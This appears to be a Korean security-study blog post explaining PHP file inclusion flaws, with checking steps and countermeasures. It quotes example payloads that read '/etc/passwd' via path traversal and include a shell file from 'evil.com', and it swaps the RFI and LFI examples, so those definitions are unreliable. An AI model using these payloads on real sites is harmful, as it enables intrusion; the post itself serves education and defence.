File Inclusion

justugi·2024년 6월 15일

웹 취약점 진단

목록 보기
19/19

주의사항 : 이 포스팅은 개인 학습 및 교육적 목적으로 작성되었으며, 제공하는 정보를 악용하여 불법적인 행위를 하는 것은 엄격히 금지되어 있습니다. 웹 취약점 진단은 해당 웹사이트의 소유자의 명시적인 허가 없이는 수행해서는 안되며, 웹 취약점을 발견하였을 경우 즉시 해당 웹사이트의 소유자나 관리자에게 알려야 합니다.

File Inclusion

: 주로 PHP 어플리케이션에서 발생한다. PHP의 include라는 함수를 이용하여 다른 파일을 소스코드에 직접 포함시킬 수 있는데, include 할 파일을 웹 요청을 통해서 지정할 수 있는 경우 해커가 그 값을 조작하여 원하는 파일을 처리하도록 만들 수 있다.

  • RFI(Remote File Inclusion) : 원격으로 외부에 있는 파일을 include.
    (/index.php?page=../../../etc/passwd 형태)
  • LFI(Local File Inclusion) : 웹 서버 시스템에 원래 존재하는(미리 업로드된) 파일을 include.
    (/index.php?page=http://evil.com/shell.txt 형태)

웹 애플리케이션은 웹 요청을 통해서 지정된 file.php 라는 파일을 include하고 있다.

해커는 file.php 대신에 hacker.com이라는 자신의 서버를 따로 구축한 후에 hacker.com에 있는 bad.php를 include 할 것을 지정한다.

웹 애플리케이션의 보안 설정이 충분하지 않다면 hacker.com 으로부터 bad.php 파일을 받아와서 include 한 후 bad.php 악성 파일을 실행하게 된다.

점검 절차

  1. 웹 애플리케이션에서 사용자 입력이 파일 경로로 사용되는 경우를 찾아 이러한 입력이 파일 include 함수에 전달되는지 확인
  2. 입력이 충분히 검증되지 않고 신뢰할 수 있는 것으로 취급되는지 확인
  3. 웹 애플리케이션에서 파일을 포함하도록 하는 요청을 조작하여 실행되는지 확인

보안 대책

  1. 사용자가 제공하는 모든 입력, GET/POST 및 URL 매개변수, 쿠키 값, HTTP 헤더 값 등을 필터링하며 검증된 값만 include 함수에 사용되도록 한다.
  2. 클라이언트 측 뿐만 아니라 서버 측에서도 검증을 수행한다.

출처
https://brightsec.com/blog/file-inclusion-vulnerabilities/
https://brightsec.com/blog/local-file-inclusion-lfi/
https://m.blog.naver.com/rjsn2473/223189726928
https://www.esecurityplanet.com/endpoint/how-to-prevent-remote-file-inclusion-rfi-attacks/

profile
IT 보안, 관심 있는 것을 공부합니다.

0개의 댓글